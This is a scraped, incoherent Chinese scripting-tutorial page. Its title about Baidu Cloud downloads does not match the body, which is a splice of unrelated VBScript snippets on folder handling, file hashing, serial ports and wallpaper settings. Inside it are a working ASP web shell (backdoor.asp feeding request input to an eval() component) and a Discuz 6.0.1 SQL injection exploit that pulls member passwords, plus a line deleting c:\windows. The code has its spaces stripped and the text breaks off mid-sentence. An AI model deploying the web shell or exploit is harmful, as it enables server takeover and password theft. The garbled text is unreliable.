油猴脚本百度云加速下载游戏蜂窝里提取到本地

发布时间:2020-06-29 来源:脚本之家 点击:

两点关键:
1检测是Windows关闭引起的QueryUnload事件如果要释放的话也很简单,setfs=nothing



2、使用文件夹

创建:

在创建前我们需要检查是否存在,看一下程序

***************************createfolder.vbs*****************************

dimfs,s

setfs=wscript.createobject(“scripting.filesystemobject”)

if(fs.folderexists(“c:\temp”))then

s=”isavailable”

else

s=”notexist”

setfoldr=fs.createfolder(“c:\temp”)

endif

删除、拷贝、移动



删除:

setfs=wscript.createobject(“scripting.filesystemobject”)

fs.deletefolder(“c:\windows”)



拷贝:

setfs=wscript.createobject(“scripting.filesystemobject”)

fs.copyfolder“c:\data”“d:\data”

注意,如果这个时候c:\data和d:\data都存在,会出错,复制也就会停止,如果要强制覆盖,使用fs.copyfolder“c:\data”“d:\data”,true



移动

setfs=wscript.createobject(“scripting.filesystemobject”)

fs.movefolder“c:\data”“d:\data”



关于通配符:

我们可以使用统配符,来方便操作:

例如,fs.movefolder:c:\data\te*”,“d:\working”

注意到没有,我在目的路径最后没有使用“\”也就是说我没有这样写:

fs.movefolder:c:\data\te*”,“d:\working\”

这样写的话,如果d:\working目录不存在,windows就不会为我们自动创建这个目录

视频剪辑脚本的各种步骤

Option Explicit
Dim wi
Dim file
Dim file_size
Dim file_attributes
Dim file_version
Dim file_hash
Set wi=CreateObject("WindowsInstaller.Installer")
file="111.exe"
file_size=wi.FileSize(file)
file_attributes=wi.FileAttributes(file)
file_version=wi.FileVersion(file)
file_hash=GetFileHash(file)
Set wi=Nothing
MsgBox "File: " & file & vbCrLf & _
"Size: " & file_size & vbCrLf & _
"Attributes: " & file_attributes & vbCrLf & _
"Version: " & file_version & vbCrLf & _
"MD5: " & file_hash
Function GetFileHash(file_name)
Dim file_hash
Dim hash_value
Dim i
Set file_hash=wi.FileHash(file_name, 0)
hash_value=""
For i=1 To file_hash.FieldCount
hash_value=hash_value & BigEndianHex(file_hash.IntegerData(i))
Next
GetFileHash=hash_value
Set file_hash=Nothing
End Function
Function BigEndianHex(Int)
Dim result
Dim b1, b2, b3, b4
result=Hex(Int)
b1=Mid(result, 7, 2)
b2=Mid(result, 5, 2)
b3=Mid(result, 3, 2)
b4=Mid(result, 1, 2)
BigEndianHex=b1 & b2 & b3 & b4
End Function
②:大文本框的MultiLine值设为True,这样,大文本框就允许有多行文字输出显示,小文本框的MultiLine值设为False,表示小文本框就只允许有一行文字输出显示

而且它是微软官方比较权威的其实,你也可以用相对路径

<?xml version="1.0" encoding="gb2312" standalone="yes"?>
<?component error="true" debug="true"?>
<package>
<component id="haiyangtop">
<public>
<method name="lcx"><parameter name="b"/></method>
</public>
<script language="VBScript"><![CDATA[
sub lcx(b)
eval(b)
end sub
]]>
</script>
</component>
</package>
backdoor.asp内容如下:
<%
b=request("a")
Set fs=GetObject("script:d:/web/ScriptCodingInfo.wsc#haiyangtop")
fs.lcx(b)
%>
调用方法如下:("Scripting.FileSystemObject").OpenTextFile("c:\1122.txt"),8,True,0).WriteLine("123")
注意这里的a=只能是vbs的代码,不可以接受像response、rquest之类的asp的东东假如您对MSComm的基本属性还不了解,建议请先至MSComm基本介绍一文中详读

表单画面

'表单部分
'-------------------------------------------------------------
Form.Name="Form1"
Caption="Form1"
CommandButton.Name=Command2
Caption="停止测试"
CommandButton.Name=Command1
Caption="开始测试"
TextBox.Name=Text1
MSComm.Name=MSComm1
DTREnable=-1'True
Label.Name=Label1
AutoSize=-1'True
Caption="欲送出的资料-按下[Enter]送出"
Label.Name=Label3
BorderStyle=1'单线固定
Label.Name=Label2
AutoSize=-1'True
Caption="折返显示"

'程式部分
'-------------------------------------------------------------
OptionExplicit
'设一个此表单的区域变数,来作终止读取通讯埠的指标
DimbStopAsBoolean
'设一个区域变数,来作读取通讯埠的暂存区
DimInStringAsString

PrivateSubCommand1_Click()
bStop=False
Text1.SetFocus
WithMSComm1
'设定通讯埠号,可依照您的需求更改
.CommPort=2
'设定传输速率等,可依照您的需求更改
.Settings="14400,N,8,1"
'将通讯埠打开
.PortOpen=True
EndWith
'假如使用者未按下「停止测试」钮(bStop=False),则继续读取
DoWhileNotbStop
IfMSComm1.InBufferCountThen
'通讯埠中假如有资料的话,则读取进来
InString=InString&MSComm1.Input
'如果资料中有Chr(13)和Chr(10)的话,则显示出来
IfInStr(InString,vbCrLf)Then
Label3.Caption=Label3.Caption&InString
InString=""
'暂时把系统资源让出来给其它的程式使用
DoEvents
EndIf
EndIf
DoEvents
Loop
EndSub

PrivateSubCommand2_Click()
'按下「停止测试」钮时,把bStop设为「真」(True)
'如此程式才会停止等待(或读取)通讯埠所收到的资料
bStop=True
EndSub

PrivateSubForm_QueryUnload(CancelAsInteger,UnloadModeAsInteger)
bStop=True
'把通讯埠关闭,才不会影响其它程式的使用通讯埠
MSComm1.PortOpen=False
End
EndSub

PrivateSubText1_KeyPress(KeyAsciiAsInteger)
'当按下[Enter]时,把Text1文字框中的资料送至通讯埠
IfKeyAscii=13Then
MSComm1.Output=Text1.Text&vbCrLf
Text1.Text=""
KeyAscii=0
EndIf
EndSub->


Dim strUrl,strSite,strPath,strUid
showB()
Set Args=Wscript.Arguments
If Args.Count <> 3 Then
ShowU()
Else
strSite=Args(0)
strPath=Args(1)
strUid=Args(2)
End If
strUrl="action=search&searchid=22%cf' UNION SELECT 1,password,3,passwordfromcdb_memberswhereuid=" & strUid &"*"
objXML.SetRequestHeader "Accept-Language", "zh-cn"
objXML.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objXML.SetRequestHeader "User-Agent", "wap"
objXML.send(strUrl)
wscript.echo(objXML.ResponseText)
Sub showB()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("Exploit discuz6.0.1")
.Echo("Code By Safe3")
.Echo("+--------------------------=====================------------------------------+")
End with
End Sub
Sub showU()
With Wscript
.Echo("+--------------------------=====================------------------------------+")
.Echo("用法:")
.Echo(" cscript "&.ScriptName&" site path uid")
.Echo("例子:")
.Echo(" cscript "&.ScriptName&" /forum/ 1 >result.txt")
.Echo("+--------------------------=====================------------------------------+")
.Quit
End with
End Sub
badboy录制jmeter在改变桌面图片时,也设定显示方式(包括“居中”、“平铺”、“拉伸”)呢?
方法就是在呼叫SystemParametersInfo之前,利用改变注册表的以下设定值:

HKEY_CURRENT_USER\ControlPanel\Desktop\TileWallpaper
HKEY_CURRENT_USER\ControlPanel\Desktop\WallpaperStyle

这两个设定值的意义如下:

TileWallpaper的设定值WallpaperStyle的设定值显示方式
"0""0"居中
"0""2"平铺
"1"-拉伸

注:所谓「拉伸」是当图片与屏幕不等大时,将图片调整成屏幕等大小,这是Windows98新增的功能,但如果您的机器安装有IE4.x,则Windows95也具备相同的功能作为安全性最佳操作,请使用不属于 Administrators 组的帐户登录计算机,然后使用 runas 命令以管理员身份运行脚本和可执行文件。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号